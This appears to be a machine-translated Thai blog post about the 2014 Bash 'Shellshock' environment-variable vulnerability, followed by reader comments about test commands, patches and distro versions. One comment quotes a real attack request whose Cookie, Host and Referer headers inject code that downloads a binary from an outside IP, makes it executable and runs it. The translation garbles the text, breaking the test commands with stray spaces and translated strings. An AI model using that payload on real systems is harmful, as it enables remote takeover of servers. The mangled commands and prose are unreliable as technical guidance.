Bash: ตรวจพบช่องโหว่ใหม่ (และแก้ไข)

มันทำงานเหมือนไฟป่าในบางบล็อกซึ่งเป็นรายการข่าวที่เผยแพร่ในไฟล์ บล็อกความปลอดภัย de หมวกสีแดง เกี่ยวกับช่องโหว่ที่พบใน Bash เนื่องจากการใช้ตัวแปรส่วนกลางในทางที่ผิด ตามข่าวต้นฉบับ:

“ …ช่องโหว่นี้เกิดจากการที่ตัวแปรสภาพแวดล้อมที่มีค่าที่สร้างขึ้นมาเป็นพิเศษสามารถสร้างขึ้นได้ก่อนที่จะเรียก bash shell ตัวแปรเหล่านี้สามารถมีโค้ดที่ดำเนินการทันทีที่เรียกใช้เชลล์ ชื่อของตัวแปรที่อธิบายไว้เหล่านี้ไม่สำคัญเพียง แต่เนื้อหาเท่านั้น. เป็นผลให้ช่องโหว่นี้ถูกเปิดเผยในหลายบริบทตัวอย่างเช่น:

  • บังคับคำสั่ง ใช้ในคอนฟิกูเรชัน sshd เพื่อจัดเตรียมความสามารถในการดำเนินการคำสั่งที่ จำกัด สำหรับผู้ใช้ระยะไกล ข้อบกพร่องนี้สามารถใช้เพื่อหลีกเลี่ยงและดำเนินการตามคำสั่งโดยพลการ การใช้งาน Git และการโค่นล้มบางอย่างใช้เชลล์ที่ จำกัด ดังกล่าว การใช้ OpenSSH เป็นประจำจะไม่ได้รับผลกระทบเนื่องจากผู้ใช้มีสิทธิ์เข้าถึงคอนโซลอยู่แล้ว.
  • เซิร์ฟเวอร์ Apache ที่ใช้ mod_cgi หรือ mod_cgid จะได้รับผลกระทบหากสคริปต์ CGI ถูกเขียนทั้งใน bash หรือ spawn sublevels ระดับย่อยดังกล่าวถูกใช้โดยปริยายโดย system / popen ใน C โดย os.system / os.popen ใน Python หากใช้ system / exec shell ใน PHP (เมื่อทำงานในโหมด CGI) และเปิด / ระบบใน Perl (ซึ่งขึ้นอยู่กับสตริงคำสั่ง)
  • สคริปต์ PHP ที่ทำงานด้วย mod_php จะไม่ได้รับผลกระทบแม้ว่าจะเล่นระดับย่อย
  • ไคลเอ็นต์ DHCP เรียกใช้เชลล์สคริปต์เพื่อกำหนดค่าระบบด้วยค่าที่นำมาจากเซิร์ฟเวอร์ที่อาจเป็นอันตราย สิ่งนี้จะอนุญาตให้เรียกใช้คำสั่งโดยพลการโดยปกติจะเป็นรูทบนเครื่องไคลเอ็นต์ DHCP
  • daemons และโปรแกรมต่างๆที่มีสิทธิ์ SUID สามารถเรียกใช้เชลล์สคริปต์ด้วยค่าตัวแปรสภาพแวดล้อมที่กำหนด / ได้รับอิทธิพลจากผู้ใช้ซึ่งจะอนุญาตให้เรียกใช้คำสั่งโดยพลการ
  • แอ็พพลิเคชันอื่น ๆ ที่เชื่อมต่อกับเชลล์หรือรันเชลล์สคริปต์เช่นการใช้ bash เป็นตัวแปล เชลล์สคริปต์ที่ไม่เอ็กซ์พอร์ตตัวแปรจะไม่เสี่ยงต่อปัญหานี้แม้ว่าจะประมวลผลเนื้อหาที่ไม่น่าเชื่อถือและเก็บไว้ใน ตัวแปรเชลล์ (ซ้าย) และระดับย่อยเปิด

... ”

จะรู้ได้อย่างไรว่าการทุบตีของฉันได้รับผลกระทบหรือไม่?

ด้วยเหตุนี้จึงมีวิธีง่ายๆในการทราบว่าเราได้รับผลกระทบจากช่องโหว่นี้หรือไม่ อันที่จริงฉันทดสอบกับ Antergos ของฉันและเห็นได้ชัดว่าฉันไม่มีปัญหา สิ่งที่เราต้องทำคือเปิด Terminal และใส่:

env x = '() {:;}; echo ที่มีช่องโหว่ 'bash -c "echo นี่คือการทดสอบ"

ถ้ามันออกมาเป็นแบบนี้เราก็ไม่มีปัญหา:

env x = '() {:;}; echo ที่มีช่องโหว่ 'bash -c "echo นี่คือการทดสอบ" bash: คำเตือน: x: ไม่สนใจคำจำกัดความของฟังก์ชันพยายามทุบตี: ข้อผิดพลาดในการนำเข้านิยามฟังก์ชันสำหรับ `x' นี่คือการทดสอบ

หากผลลัพธ์แตกต่างกันคุณควรใช้ช่องทางการอัปเดตของการแจกแจงที่เราต้องการเพื่อดูว่าพวกเขาได้ใช้โปรแกรมแก้ไขแล้วหรือไม่ รู้ไหม😉

อัปเดต: นี่คือผลลัพธ์จากเพื่อนร่วมงานที่ใช้ Ubuntu 14:04:

env x = '() {:;}; เสียงสะท้อน 'bash -c "ที่มีช่องโหว่นี้เป็นการทดสอบ" เสี่ยงว่านี่คือการทดสอบ

อย่างที่คุณเห็นจนถึงตอนนี้มันมีช่องโหว่


แสดงความคิดเห็นของคุณ

อีเมล์ของคุณจะไม่ถูกเผยแพร่ ช่องที่ต้องการถูกทำเครื่องหมายด้วย *

*

*

  1. ผู้รับผิดชอบข้อมูล: Miguel ÁngelGatón
  2. วัตถุประสงค์ของข้อมูล: ควบคุมสแปมการจัดการความคิดเห็น
  3. ถูกต้องตามกฎหมาย: ความยินยอมของคุณ
  4. การสื่อสารข้อมูล: ข้อมูลจะไม่ถูกสื่อสารไปยังบุคคลที่สามยกเว้นตามข้อผูกพันทางกฎหมาย
  5. การจัดเก็บข้อมูล: ฐานข้อมูลที่โฮสต์โดย Occentus Networks (EU)
  6. สิทธิ์: คุณสามารถ จำกัด กู้คืนและลบข้อมูลของคุณได้ตลอดเวลา

  1.   Gerson dijo

    ฉันมี Kubuntu 14.04 จาก 64 และได้รับ:

    env x = '() {:;}; echo ที่เปราะบาง 'bash -c "echo นี่คือการทดสอบ"
    อ่อนแอ
    นี่คือการทดสอบ

    ฉันอัปเดตแล้ว แต่ไม่ถูกต้อง จะทำอย่างไร?

    1.    Elav dijo

      รอให้พวกเขาอัปเดต อัพเดท eOS แล้วเช่น .. 😀

    2.    จอห์น dijo

      แปลกยังไงฉันก็มี Kubuntu 14.04 ด้วย

      $ env x = '() {:;}; echo ที่มีช่องโหว่ 'bash -c "echo นี่คือการทดสอบ"
      bash: คำเตือน: x: ละเว้นความพยายามในการกำหนดฟังก์ชัน
      bash: ข้อผิดพลาดในการนำเข้านิยามฟังก์ชันสำหรับ "x '
      นี่คือการทดสอบ

      1.    จอห์น dijo

        ฉันเพิ่มว่าเวอร์ชันของแพ็คเกจ "bash" ที่ดาวน์โหลดในวันนี้คือ:
        4.3-7ubuntu1.1

        http://packages.ubuntu.com/trusty/bash

    3.    Eliotime3000 dijo

      ในกรณีของฉันการให้คำสั่งมันให้สิ่งต่อไปนี้แก่ฉันในเทอร์มินัล:

      >

      อย่างไรก็ตามเรื่องตลกคือฉันอัปเดต Debian Wheezy และนั่นคือสิ่งที่ทิ้งฉันไป

      1.    ยูกิเทรุ dijo

        Wheezy ยังคงเสี่ยงต่อส่วนที่สองของข้อบกพร่องอย่างน้อยในช่วงบ่าย (UTC -4: 30) ปัญหายังคงตามมา: /

  2.   peterczech dijo

    ฉันเพิ่งตรวจสอบว่าหลังจากใช้การอัปเดตเมื่อเช้านี้ทั้ง Slackware หรือ Debian หรือ Centos ไม่ได้รับผลกระทบเนื่องจากได้รับการอัปเดตที่เกี่ยวข้อง

    อะไรทำให้ Ubuntu ยังคงมีช่องโหว่ในชั่วโมงนี้ และบอกฉันว่าปลอดภัย: D.

    1.    จอห์น dijo

      แต่คุณลองอัปเดต Ubuntu แล้วหรือยัง?
      ด้วยการอัปเดตในวันนี้พวกเขาได้ทำการแก้ไขแล้ว

      1.    peterczech dijo

        OK

    2.    robet dijo

      ผู้เชี่ยวชาญด้านความปลอดภัยเตือนถึงช่องโหว่ 'Bash' ซึ่งอาจก่อให้เกิดภัยคุกคามต่อผู้ใช้ซอฟต์แวร์ Linux มากกว่าบั๊ก Heartbleed ซึ่งแฮกเกอร์สามารถใช้ประโยชน์จากข้อบกพร่องใน Bash เพื่อควบคุมระบบได้อย่างสมบูรณ์
      Tod Beardsley ผู้จัดการฝ่ายวิศวกรรมของ Rapid7 บริษัท รักษาความปลอดภัยทางไซเบอร์เตือนว่าข้อบกพร่องดังกล่าวได้รับการจัดอันดับ 10 สำหรับความรุนแรงซึ่งหมายความว่ามีผลกระทบสูงสุดและได้รับการจัดอันดับ "ต่ำ" สำหรับความซับซ้อนของการใช้ประโยชน์ซึ่งหมายความว่าค่อนข้างง่ายสำหรับ 'แฮ็กเกอร์' การโจมตี ด้วยการใช้ช่องโหว่นี้ผู้โจมตีอาจเข้าควบคุมระบบปฏิบัติการเข้าถึงข้อมูลที่เป็นความลับทำการเปลี่ยนแปลง ฯลฯ "Beardsley กล่าว "ใครก็ตามที่มีระบบที่ครอบครอง Bash ควรใช้แพทช์ทันที" เขากล่าวเสริม
      ก่อนที่ความเสี่ยงนี้จะแสดงเครื่องมือเก่า (GNU) ที่ Bach โฮสต์อยู่ซอฟต์แวร์ Linux จะสะดวกกว่าในการกำจัด GNU และเปลี่ยนเครื่องมือ BSD

      PS: อย่าเซ็นเซอร์เสรีภาพในการแสดงออกของฉัน ... อย่าดูถูกใคร ... อย่าลบข้อความของฉันเหมือนข้อความก่อนหน้าที่ฉันลบไป!.

      1.    ซีริกซ์ dijo

        โปรดอย่าหักโหมเกินไป ฉันเกลียดคนที่ใช้ BSD และดูถูก GNU, Linux หรืออะไรก็ตามจากโครงการเหล่านี้

      2.    peterczech dijo

        ฉันอยู่กับคุณและคุณมีความเหมาะสมอย่างยิ่งกับความรุนแรงของหลุมนี้

      3.    ไดอะซีแพน dijo

        ไม่ใช่การเซ็นเซอร์ แต่เป็นความซ้ำซ้อน (คุณได้แสดงความคิดเห็นเดียวกันในโพสต์ Gnome 3.14)

      4.    ทักษะ dijo

        « ... และให้คะแนน 'ต่ำ' เนื่องจากความซับซ้อนของการแสวงหาประโยชน์ซึ่งหมายความว่ามันค่อนข้างง่ายสำหรับการโจมตีของแฮ็กเกอร์»

        ความไม่ลงรอยกันเป็นที่สังเกตได้หรือไม่?
        มันจะง่ายต่อการใช้ประโยชน์จากช่องโหว่ได้อย่างไรและในขณะเดียวกันก็มีระดับความเสี่ยง "ต่ำ" เนื่องจากมีความซับซ้อนในการใช้งาน
        เป็นข้อบกพร่องที่ได้รับการแก้ไขภายในไม่กี่ชั่วโมงหลังการประชุมและเช่นเดียวกับใจป้ำไม่มีรายงานว่าถูกเอาเปรียบ (แน่นอนว่ามีเวลาน้อยกว่าที่จะรู้จักกัน)
        เป็นการกดแท็บลอยด์มากกว่าความเสี่ยงจริง

      5.    peterczech dijo

        @Staff ดูไม่สำคัญกับคุณหรือเปล่า? คุณจะบอกอะไรฉันตอนนี้?

        รับ / HTTP/1.0
        . ผู้ใช้ตัวแทน:. ขอบคุณ - ร็อบ
        . คุกกี้: (). {.:;.};. wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
        . โฮสต์: (). {.:;.};. wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
        . ผู้อ้างอิง: (). {.:;.};. wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
        . ยอมรับ:. * / *

        $ ไฟล์ nginx
        nginx: ELF 32 บิต LSB ปฏิบัติการ, Intel 80386, เวอร์ชัน 1 (SYSV), ลิงก์แบบคงที่, สำหรับ GNU / Linux 2.6.18, ถูกถอดออก

        $md5sum nginx.xml
        5924bcc045bb7039f55c6ce29234e29a nginx

        $sha256sum nginx
        73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx

        คุณรู้ไหมว่ามันคืออะไร? ไม่มีอะไรอันตรายเล็กน้อย ...

      6.    ยูกิเทรุ dijo

        สถานการณ์ค่อนข้างร้ายแรง แต่จากที่นั่นเพื่อบอกว่าคุณควรหยุดใช้ bash สำหรับตัวเลือก BSD มันก็มีมากอยู่แล้วอย่างไรก็ตามการอัปเดตมีอยู่แล้วฉันแค่แตะการอัปเดตและไม่มีอะไรอื่น

        ตอนนี้ PD ฉันคิดว่ามันเป็นเพื่อนร่วมงานมากกว่า @robet ฉันไม่คิดว่าที่นี่ผู้ดูแลระบบจะทุ่มเทให้กับการลบความคิดเห็นเช่นนี้เพราะใช่เพราะตั้งแต่ฉันเข้าร่วมในชุมชนนี้ฉันมีความรู้สึกนั้นและฉันหวังว่ามันจะคงอยู่อย่างนั้น ทาง.

        อาศิรพจน์

      7.    Elav dijo

        คุณใส่ความคิดเห็นเดียวกันในสองโพสต์ที่แตกต่างกัน หากคุณพยายามโปรโมต "ที่มา" ของข่าวขออภัยนี่ไม่ใช่สถานที่

      8.    มาริโอ dijo

        Bash มาจาก Unix (และ GNU clone) ระบบที่ใช้ BSD เช่น OSX ก็ได้รับผลกระทบเช่นกันและตาม Genbeta ยังไม่ได้ทำการแก้ไข ในทำนองเดียวกันในการเข้าถึง Bash คุณต้องมีบัญชีผู้ใช้ไม่ว่าจะในระบบหรือผ่าน SSH

      9.    ยูกิเทรุ dijo

        @ พนักงาน:

        1.- จัดอยู่ในระดับ 10 (ระดับอันตรายสูงสุด) เนื่องจากจำนวนบริการที่อาจได้รับผลกระทบจากข้อบกพร่อง ในหมายเหตุหลักพวกเขาให้ความจริงชัดเจนมากโดยอ้างว่าจุดบกพร่องอาจส่งผลต่อบริการต่างๆเช่น apache, sshd, โปรแกรมที่มีสิทธิ์ suid (xorg และอื่น ๆ )

        2.- จัดอยู่ในระดับความยากต่ำเมื่อพูดถึงการนำไปใช้งานและตัวอย่างที่ดีที่สุดคือสคริปต์ทดสอบช่องโหว่ที่ @elav ได้วางไว้ในโพสต์ อย่างที่เห็นไม่ได้ยากมาก

        ฉันไม่เห็นความซ้ำซ้อนในข้อมูล (ฉันเห็นเฉพาะคำแปลของ Google) และหากปัญหาค่อนข้างร้ายแรงและอย่างที่คุณบอกว่ามันมีแพตช์และวิธีแก้ปัญหาอยู่แล้ว แต่ไม่ใช่สำหรับสิ่งนั้นก็จะไม่มีความเสี่ยงอีกต่อไป และเป็นของจริง

      10.    ทักษะ dijo

        @petercheco / @ ยูคิเทรุ

        อย่าตีความฉันผิดฉันคิดว่าเป็นที่ชัดเจนว่าคำวิจารณ์ของฉันคือข่าวที่ Robet เชื่อมโยงและมุ่งเน้นไปที่ความไม่ลงรอยกันและไม่ซ้ำซ้อน

        ในทำนองเดียวกันเราต้องแยกความแตกต่างระหว่างความเสี่ยงและอันตราย (ฉันไม่ได้กล่าวถึงอย่างหลัง) เรามักใช้เป็นคำพ้องความหมาย แต่ที่นี่อันตรายจะเป็นความสามารถในการเสียหายของข้อบกพร่องและความเสี่ยงต่อความน่าจะเป็นที่จะเกิดขึ้น
        ในกรณีเฉพาะของฉันฉันเข้ามาจากเมื่อวานนี้ มันไม่ได้มีไว้สำหรับรายชื่อส่งเมลหรืออะไรทำนองนั้นมันมีไว้สำหรับเดสก์ท็อป ฉันหยิบโทรศัพท์ขึ้นมาและส่งข้อความไปยัง sysadmin พร้อมลิงก์และฉันยืนยันว่าฉันได้รับการแก้ไขทุกอย่างแล้วขอโทษด้วย แต่ข่าวเหล่านี้ไม่ทำให้ฉันตื่น

      11.    robet dijo

        ในฟอรัมอื่น ๆ พวกเขาพูดถึงช่องโหว่ Bash "โซลูชันที่ Debian และ Ubuntu เปิดตัว" แต่วันนี้พวกเขาพบว่ายังมีช่องโหว่อยู่ดังนั้นการแก้ปัญหาจึงไม่สมบูรณ์พวกเขาพูดถึงเรื่องนั้น!

        ฉันเห็นว่าหลายคนวิพากษ์วิจารณ์ฉันถึงความจริงง่ายๆในการป้องกันผู้คนจากความรุนแรงของช่องโหว่ - มีคุณสมบัติเป็นอันตรายสูงสุดระดับ 10 และกล่าวถึงโซลูชันที่เป็นไปได้สำหรับซอฟต์แวร์ Linux ก่อนที่เครื่องมือ GNU ที่ล้าสมัยซึ่ง Bash เป็นโฮสต์ - ซึ่ง GNU ทำได้อย่างสมบูรณ์แบบ ถูกแทนที่ด้วยเครื่องมือ BSD ในซอฟต์แวร์ Linux ... ฉันใช้ Linux ด้วยและฉันชอบ Linux!

        ฉันชี้แจงว่า Bash ไม่ได้ติดตั้งมาตามค่าเริ่มต้นใน BSD ซึ่งเป็นแพ็คเกจความเข้ากันได้ของ Linux อีกหนึ่งชุดที่สามารถติดตั้งใน BSD ได้ ... ใช่! และมีการใส่แหล่งที่มาเพื่อให้พวกเขาสามารถตรวจสอบข่าวได้เนื่องจากบางครั้งผู้ใช้หลายคนไม่เชื่อข้อความหรือความคิดเห็น

        1.    Elav dijo

          robet: ตามที่พวกเขาบอกคุณซ้ำแล้วซ้ำเล่าคุณได้แสดงความคิดเห็นพร้อมกับข่าวในโพสต์แล้วคุณไม่จำเป็นต้องใส่ไว้ในทุกโพสต์ที่คุณแสดงความคิดเห็น

          เกี่ยวกับ bash เนื่องจากมีเชลล์อื่น ๆ ที่สามารถใช้ได้ในกรณีที่ Bash มีช่องโหว่ 😉

      12.    มาริโอ dijo

        Robet จากความรู้ของฉันไม่มีซอฟต์แวร์ใดที่รวมเคอร์เนล linux กับ userland BSD สิ่งที่ใกล้เคียงที่สุดคืออีกทางหนึ่ง kBSD + GNU เช่น Gentoo และ Debian นอกจากนี้ GNU (1983) ไม่สามารถเรียกได้ว่า "ล้าสมัย" หากเป็นหลัง BSD (1977) ทั้งคู่แชร์ราก Unix (แต่ไม่ใช่รหัส) จะไม่มี "ความเข้ากันได้ของ Linux" ถ้า Bash ถูกสร้างขึ้นเมื่อ Linus T ยังเป็นเด็ก

  3.   มานูเอลเปเรซฟ dijo

    เอ่อการทดสอบเดเบียนในเวลานี้ "เสี่ยง" สิ่งที่เรามี ...

    1.    นาย dijo

      ฉันใช้ Debian Testing และแม้แต่ในสาขานี้เราก็ได้รับการอัปเดต bash

  4.   ไดอะซีแพน dijo

    ตาม genbeta นอกจากนี้ยังมีช่องโหว่อื่น
    http://seclists.org/oss-sec/2014/q3/685

    คำสั่งในการปรึกษาคือ
    env X = '() {(a) => \' sh -c "echo โหว่"; bash -c "echo Failure 2 unpatched"

    1.    Elav dijo
      env X = '() {(a) => \' sh -c "echo โหว่"; bash -c "echo Unpatched Failure 2" sh: X: บรรทัดที่ 1: ข้อผิดพลาดทางไวยากรณ์ใกล้องค์ประกอบที่ไม่คาดคิด `= 'sh: X: บรรทัด 1:`' sh: ข้อผิดพลาดในการนำเข้านิยามฟังก์ชันสำหรับ `X 'sh : ช่องโหว่: ไม่พบคำสั่ง Failure 2 โดยไม่ต้องแก้ไข
      
      1.    ไดอะซีแพน dijo

        เหมือนกันกับฉัน

      2.    กิสการ์ด dijo

        เหมือนกันที่นี่ แต่ข้อผิดพลาดดั้งเดิมในโพสต์ได้รับการแก้ไขใน (L) Ubuntu 14.04

      3.    x11tete11x dijo

        แทนที่จะทำเสียงสะท้อนง่ายๆพยายามทำให้มันดำเนินการตามคำสั่งที่ต้องใช้สิทธิ์ฉันโยน "สิทธิ์ไม่เพียงพอ" ... ข้อผิดพลาดนี้ไม่เพิ่มสิทธิ์?

      4.    xurxo dijo

        คุณถูก!! พวกเขาเป็นสองช่องโหว่ ...

        สำหรับฉันใน Linux Mint 17 หลังจากการอัปเดต bash ครั้งที่สองที่พวกเขาใส่ไว้ในที่เก็บ Ubuntu เมื่อคืนที่ผ่านมาเมื่อดำเนินการคำสั่งนั้นเชลล์จะเสนอผลลัพธ์นี้:

        env X = '() {(a) => \' sh -c "echo โหว่"; bash -c "echo Fail 2 unpatched"
        >

        เวอร์ชันของ "bassh" ที่ใส่ในที่เก็บ Ubuntu เพื่ออัปเดตเวอร์ชันก่อนหน้าคือ:

        4.3-7ubuntu1.2

        บนระบบที่ได้รับ Debian คุณสามารถตรวจสอบเวอร์ชันที่ติดตั้งด้วยคำสั่งนี้:

        dpkg -s bash | grep Version

        ไม่ว่าในกรณีใดควรชี้แจงอย่างน้อยสำหรับผู้ใช้ Debian, Ubuntu และ Mint คุณไม่ควรกังวลกับโปรแกรมที่รันสคริปต์ด้วยส่วนหัว #! / bin / sh เพราะในการแจกแจง / bin / sh เหล่านั้นไม่เรียก "bash" แต่ผูกกับเชลล์ "dash" (เส้นประคือ :)

        Debian Alchemist Console (เส้นประ) เป็นคอนโซล POSIX ที่ได้รับมา
        ของเถ้า
        .
        เนื่องจากรันสคริปต์เร็วกว่า bash และมีการอ้างอิงน้อยกว่า
        ของไลบรารี (ทำให้มีประสิทธิภาพมากขึ้นจากความล้มเหลวของซอฟต์แวร์หรือ
        ฮาร์ดแวร์) ใช้เป็นคอนโซลระบบเริ่มต้นบนระบบ
        Debian

        ดังนั้นอย่างน้อยใน Ubuntu จึงใช้ "bash" เป็นเชลล์สำหรับล็อกอินผู้ใช้ (เช่นเดียวกับผู้ใช้รูท) แต่ผู้ใช้ทุกคนสามารถใช้เชลล์อื่นได้ตามค่าเริ่มต้นสำหรับคอนโซลผู้ใช้และรูทคอนโซล (เทอร์มินัล)

        ง่ายต่อการตรวจสอบว่าเชลล์รันสคริปต์ (#! / bin / sh) โดยดำเนินการคำสั่งเหล่านี้:

        ไฟล์ / bin / sh
        (ผลลัพธ์คือ / bin / sh: ลิงก์สัญลักษณ์ไปที่ `` dash ') เราทำตามการติดตามซ้ำคำสั่ง

        ไฟล์ / bin / dash
        (เอาต์พุตคือ / bin / dash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV) ดังนั้นนี่จึงเป็นไฟล์ปฏิบัติการ

        นี่คือผลลัพธ์ในการแจกจ่าย Linux Mint 17 สำหรับการแจกแจงอื่น ๆ ที่ไม่ใช่ Ubuntu / Debian อาจแตกต่างกัน

        เปลี่ยนเชลล์เริ่มต้นได้ไม่ยาก !! คุณยังสามารถใช้อันอื่นสำหรับผู้ใช้และสำหรับผู้ใช้รูท จริงๆแล้วคุณต้องติดตั้งเชลล์ที่คุณเลือกและเปลี่ยนค่าเริ่มต้นด้วยคำสั่ง "chsh" หรือโดยการแก้ไขไฟล์ / etc / passwd (แม้ว่าผู้ใช้ที่ไม่ทราบผลของข้อผิดพลาดเมื่อแก้ไขไฟล์ "passwd" เป็นการดีกว่าที่พวกเขาจะแจ้งตัวเองเป็นอย่างดีและก่อนที่จะแก้ไขให้ทำสำเนาต้นฉบับในกรณีที่จำเป็นต้องกู้คืน)

        ฉันรู้สึกสบายใจกับ "tcsh" มากขึ้น (tcsh คือ :)

        คอนโซล TENEX C ซึ่งเป็นรุ่นปรับปรุงของ Berkeley csh

        "Csh" คือสิ่งที่ Mac OS X ใช้เมื่อสองสามปีก่อน ซึ่งสมเหตุสมผลเมื่อพิจารณาว่าระบบปฏิบัติการของ Apple ส่วนใหญ่เป็นรหัส FreeBSD ตอนนี้จากสิ่งที่ฉันอ่านเมื่อวานดูเหมือนว่าพวกเขายังมี "bash" สำหรับเทอร์มินัลผู้ใช้

        สรุป:

        - เวอร์ชัน "bash" ที่ได้รับการแก้ไขสำหรับการแจกแจงที่ใช้บ่อยที่สุดได้รับการแจกจ่ายแล้ว
        - "bash" เวอร์ชัน 4.3-7ubuntu1.2 และใหม่กว่าไม่มีจุดบกพร่องเหล่านี้
        - ไม่บังคับให้ใช้ "bash" ใน OS * Linux
        - ลิงก์ดิสทริบิวชัน Linux * เพียงไม่กี่ลิงก์ #! / bin / sh ที่มี "bash"
        - มีทางเลือกอื่น: ash, dash, csh, tcsh และอื่น ๆ อีกมากมาย
        - ไม่ซับซ้อนในการเปลี่ยนเชลล์เริ่มต้นที่ระบบเรียกใช้เมื่อเปิดเทอร์มินัล
        - อุปกรณ์เล็ก ๆ น้อย ๆ (เราเตอร์และอื่น ๆ ) ใช้ "ทุบตี" เพราะมันใหญ่มาก !!

      5.    xurxo dijo

        ตอนนี้การอัปเดตอื่นเพิ่งมาถึงซึ่งติดตั้งเวอร์ชันอื่นของ "bash" 4.3-7ubuntu1.3

        สำหรับ Linux Mint 17 และ Ubuntu 14.04.1 LTS

        1.    Elav dijo

          ArchLinux เข้าสู่เวอร์ชัน bash-4.3.026-1

    2.    robet dijo

      @ Xurxo … .csh จาก Berkeley?, …คุณเข้าใจบางอย่างในสิ่งที่ฉันพูดข้างต้นและจะดีกว่าถ้าใช้ BSD“ csh” …แทนที่จะเป็นเครื่องมือ GNU แบบเก่าที่ Bash โฮสต์อยู่ เครื่องมือนั้นดีที่สุดสำหรับซอฟต์แวร์ Linux

  5.   ไม่มีชื่อ dijo

    ฉันเดาว่านี่คือข้อบกพร่อง

    https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762760

    จริงหรือ?

  6.   กอนซาโล่ dijo

    แล้วทางออกจะเป็นอย่างไร

    1.    Elav dijo

      รอให้พวกเขาอัปเดตแพ็คเกจบน distro ของคุณ😉

  7.   ไดอะซีแพน dijo

    บั๊กถูกบัพติศมาเป็นหอย
    http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/

  8.   Paul Ivan Correa dijo

    อ่อนแอ
    นี่คือการทดสอบ

    ยังไม่มีการแก้ไขสำหรับ Ubuntu Studio 14.04

    1.    Wisp dijo

      ซ่อมแซมใน Ubuntu Studio 14.04.1
      wisp @ ubuntustudio: ~ $ env x = '() {:;}; echo ที่มีช่องโหว่ 'bash -c "echo นี่คือการทดสอบ"
      bash: คำเตือน: x: ละเว้นความพยายามในการกำหนดฟังก์ชัน
      bash: ข้อผิดพลาดในการนำเข้านิยามฟังก์ชันสำหรับ "x '
      นี่คือการทดสอบ

  9.   โรเดอร์ dijo

    จริงๆแล้วมันเป็นช่องโหว่เล็กน้อยถ้ามันมีผลกับคุณแสดงว่าคุณเคยทำอะไรผิดพลาดมาก่อน ...

    เนื่องจากสคริปต์ทุบตีที่รันด้วยสิทธิ์ root ไม่ควรเปิดเผยต่อผู้ใช้ และถ้าเขาทำงานโดยไม่มีสิทธิพิเศษก็ไม่มีความรังแก จริงๆแล้วมันเป็นเรื่องไร้สาระ น่ากลัวมาก

    1.    ซีริกซ์ dijo

      ก็คิดเหมือนกัน.

    2.    ทักษะ dijo

      ในการขายหนังสือพิมพ์มากขึ้นหรือได้รับการเยี่ยมชมมากขึ้นข้อบกพร่องเหล่านี้เป็นสิ่งที่ดี
      แต่พวกเขามักจะลืมที่จะพูดถึงว่าในการที่จะประนีประนอมคอมพิวเตอร์ด้วยสคริปต์ประเภทนี้คุณต้องเข้าถึง bash ก่อนแล้วจึงกำหนดให้เป็น root

      1.    ดาริโอ dijo

        staff ถ้าคุณใช้ apache กับ cgi ให้ใส่ส่วนหัว http เป็นคุกกี้หรืออ้างอิงฟังก์ชันที่คุณต้องการเรียกใช้ มันถูกใช้เพื่อแพร่กระจายหนอน

    3.    ดาริโอ dijo

      และถ้ามีคนนำเชลล์ไปยังเซิร์ฟเวอร์ด้วย wget mishell.php ในกรณีนั้นมันไม่ร้ายแรงใช่ไหม

    4.    Eliotime3000 dijo

      เห็นด้วยกับคุณ. ฉันคิดว่ามันเป็นข้อผิดพลาดที่ยิ่งใหญ่เช่นเดียวกับ Heartbleed (แม้แต่ NSA ก็ยืมตัวเองเพื่อกระตุ้นความเจ็บป่วย) แต่ท้ายที่สุดแล้วมันก็เป็นข้อบกพร่องเล็กน้อย

      มีข้อบกพร่องที่ร้ายแรงอื่น ๆ เช่นการใช้ Flash อย่างบ้าคลั่งและการชะลอตัวของประสิทธิภาพใน Pepper Flash Player และสิ่งที่ได้รับการแก้ไขแล้ว ข้อผิดพลาด webRTC ใน Chrome และ Firefox.

  10.   บินเดอร์แมน dijo

    คุณรู้หรือไม่ว่ามีการจัดเตรียมสำหรับผู้ที่มี Linux Mint 16 หรือไม่?

  11.   ออสการ์ dijo

    ในการทดสอบ Debian ได้รับการแก้ไขแล้ว

  12.   โยโย่ dijo

    ใน 5 distros ของฉันได้รับการแก้ไขแล้วใน OS X ของฉันฉันไม่รู้

    โปรดอย่าเซ็นเซอร์ความคิดเห็นของฉันฉันพูด OS X ฉันไม่รู้ว่าคุณสามารถพูด OS X ในไซต์นี้ได้หรือไม่

    1.    แทนฮัสเซอร์ dijo

      @yoyo อย่าแปลกมากเกินไปที่พวกเขายังคงทำงานกับรายละเอียดบางอย่างของแพทช์ ... ลองสิ่งนี้แล้วบอกฉันเดิน XD

      env x = '() {:;}; echo เสี่ยง 'bash -c "echo ฉันเสี่ยงกว่าถังขยะ iphone 6"

      ว่าถ้าพวกเขาแก้ไขได้ 100% ก่อน OS X ฉันจะเดิมพันอะไร

    2.    Eliotime3000 dijo

      แม้ว่าใน Ars Technica จะให้ความเกี่ยวข้องกับ Bash ใน OSX

    3.    Elav dijo

      @ โยโย่ความคิดเห็นถัดไป OS X สำหรับ SPAM .. lla tu save .. 😛

  13.   แทนฮัสเซอร์ dijo

    @yoyo ที่นั่นเพื่อแก้ไขคำพูด ... แต่ที่เหลือคุณก็รู้😉

    1.    Eliotime3000 dijo

      เหมือนพวกเขาได้รับการอุปถัมภ์ OSX (เพราะ OSX ยังคงใช้ Bash: v)

      อย่างไรก็ตามฉันไม่ต้องยุ่งกับ Debian Jessie มากนัก

  14.   เอลฮุย2 dijo

    หากระบบมีช่องโหว่บน Cent OS:
    yum clean all && yum update bash

    เพื่อดูเวอร์ชันทุบตี:
    รอบต่อนาที -qa | grep ทุบตี

    หากเวอร์ชันก่อนหน้า bash-4.1.2-15.el6_5.1 ระบบของคุณอาจมีช่องโหว่!

    อาศิรพจน์

  15.   มานูเอลเปเรซฟ dijo

    ช่องโหว่ที่ 2 ยังไม่ได้รับการแก้ไข

    env amvariable2 = '() {(a) => \' sh -c "echo amVulnerable"; bash -c "echo Failure 2 unpatched"

  16.   พระเยซู Perales dijo

    กำลังอัปเดต ...

  17.   สวิชเชอร์ dijo

    สิ่งที่ตรงกันข้ามเกิดขึ้นกับฉันใน Gentoo ฉันเสี่ยงต่อความล้มเหลวครั้งแรกเท่านั้น แต่ในครั้งที่สองฉันได้รับสิ่งนี้:
